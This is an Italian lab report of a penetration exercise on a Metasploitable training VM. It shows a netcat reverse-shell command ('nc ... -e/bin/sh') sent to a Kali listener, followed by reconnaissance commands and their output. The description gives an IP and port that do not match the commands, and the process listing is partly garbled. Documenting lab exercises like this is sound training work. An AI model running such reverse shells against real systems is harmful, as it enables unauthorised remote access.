Report di Attività di Penetrazione su Metasploitable

```
File Macchina Visualizza Inserimento Dispositivi Aiuto
msfadmin@metasploitable:~/vulnerable$ nc 192.168.50.100 1235 -e/bin/sh
```

Descrizione: Ho impiegato il comando Netcat (NC) per instaurare una connessione con un sistema remoto, identificato dall'indirizzo IP 192.168.3.245, sulla porta 1234. Nello specifico, ho richiesto l'esecuzione della shell `/bin/sh` sul sistema di destinazione una volta stabilita la connessione.

```
-(kali⊛kali)-[~]
 -$ nc -lvp 1235
listening on [any] 1235 ...
192.168.50.101: inverse host lookup failed: Host name lookup failure
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.101] 48504
ls
mysql-ssl
samba
tikiwiki
twiki20030201
ls -a
mysql-ssl
samba
tikiwiki
twiki20030201
cd mysql-ssl
ls
my.cnf
mysqld.gdb
mysql-keys
yassl-1.9.8.zip
cd ..
pwd
/home/msfadmin/vulnerable
cd mysql-ssl
pwd
/home/msfadmin/vulnerable/mysql-ssl
whoami
msfadmin
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i6
86 GNU/Linux
```

Fase di Connessione Iniziale:

- Ho avviato la ricezione in ascolto sulla porta 1235 del mio sistema Kali Linux con il comando `nc -lvp 1235`.

- Una connessione è stata stabilita da `192.168.50.101` al sistema `192.168.50.100` sulla porta 1235.

Comandi Eseguiti nella Shell Remota:

- Inizialmente, ho eseguito il comando `ls` per visualizzare i file nella directory `/home/msfadmin/vulnerable`. La lista includeva `mysql-ssl`, `samba`, `tikiwiki`, e `twiki20030201`.
 - Successivamente, ho eseguito `ls -a` per mostrare anche i file nascosti.
- Ho navigato nella directory `mysql-ssl` e ho eseguito comandi come `ls`, `pwd`, `whoami` e `uname -a`.
- Infine, ho eseguito `ps aux` per ottenere una panoramica dei processi in esecuzione sulla macchina Metasploitable.

THE DY	Stelli										
listenin	g on [a	ny] 1	1235 .								
102 160	EQ 101.	÷	anaa bi	1	luun En	الممالة	. Hook no	ma laak	5-4	1	
							: Host na [192.168]				
ps aux	10 [192	.108	. 50. 100	oj trom	(UNKN	IOWN)	[192.108	.50.101] 3554	9	
USER Ho	me DTD	%CDII	%МЕМ	VSZ	RSS	TTV	STAT	START	TTME	COMMAND	
root	1	0.0	0.3	2844	1692		Ss	02:26		/sbin/init	
root	2	0.0	0.0	0	0		S<	02:26		[kthreadd]	
root	3	0.0	0.0	ő	ő		S<	02:26		[migration/	
0]	_	•••	0.0	ŭ	· ·			02.20	0.00	[migration,	
root	4	0.0	0.0	0	0	?	S<	02:26	0:00	[ksoftirqd/	
0]										,	
root	5	0.0	0.0	0	0	?	S<	02:26	0:00	[watchdog/0	
]										3,	
root	6	0.0	0.0	0	0	?	S<	02:26	0:00	[events/0]	
root	7	0.0	0.0	0	0	?	S<	02:26		[khelper]	
root	41	0.0	0.0	0	0	?	S<	02:26	0:00	[kblockd/0]	
root	44	0.0	0.0	0	0	?	S<	02:26		[kacpid]	
root	45	0.0	0.0	0	0	?	S<	02:26	0:00	[kacpi_noti	
fy]											
root	91	0.0	0.0	0	0	?	S<	02:26	0:00	[kseriod]	
root	130	0.0	0.0	0	0		S	02:26		[pdflush]	
root	131	0.0	0.0	0	0		S	02:26		[pdflush]	
root	132		0.0	0	0		S<	02:26		[kswapd0]	
root	174		0.0	0	0		S<	02:26		[aio/0]	
root	1130		0.0	0	0		S<	02:26		[ksnapd]	
root	1319		0.0	0	0		S<	02:26		[ata/0]	
root	1322		0.0	0	0		S<	02:26		[ata_aux]	
root	1330		0.0	0	0		S<	02:26		[scsi_eh_0]	
root	1337		0.0	0	0		S<	02:26		[scsi_eh_1]	
root	1356	0.0	0.0	0	0	?	S<	02:26	0:00	[ksuspend_u	
sbd]	4250					_		00.05	000	Flat and all	
root	1362	0.0	0.0	0	0		S<	02:26		[khubd]	
root	2066	0.0	0.0	0	0		S<	02:26		[scsi_eh_2]	
root	2224	0.0	0.0	2002		?	S<	02:26		[kjournald]	
root	2421	0.0	0.1	2092	616	'	S <s< td=""><td>02:26</td><td>0:00</td><td>/sbin/udevd</td><td></td></s<>	02:26	0:00	/sbin/udevd	
daemo		0 0	0 0	0	0	2	64	02:26	0:00	[knsmoused]	
root	2644	0.0	0.0 0.0	0	0 0		S< S<	02:26 02:26		[kpsmoused] [kjournald]	
daemon	3576 3706	0.0	0.0	0 1836	520		Ss	02:26		/sbin/portm	
ap	3700	0.0	0.1	1030	320	•	33	02.20	0.00	/ SUTII/ PUT CIII	
statd	3722	0.0	0.1	1900	728	?	Ss	02:26	0:00	/sbin/rpc.s	
Scacu	3122	0.0	0.1	1900	720		33	02.20	0.00	/ 30111/1 pc. 3	

Risultati dei Processi:

- Il risultato di `ps aux` ha fornito dettagli sui processi in esecuzione, inclusi utente, PID, %CPU, %MEM, e altri.

Osservazioni Generali:

- La connessione è stata stabilita con successo e la shell remota ha risposto positivamente. La macchina Metasploitable mostra una serie di servizi attivi, tra cui MySQL, Samba, TikiWiki e altri.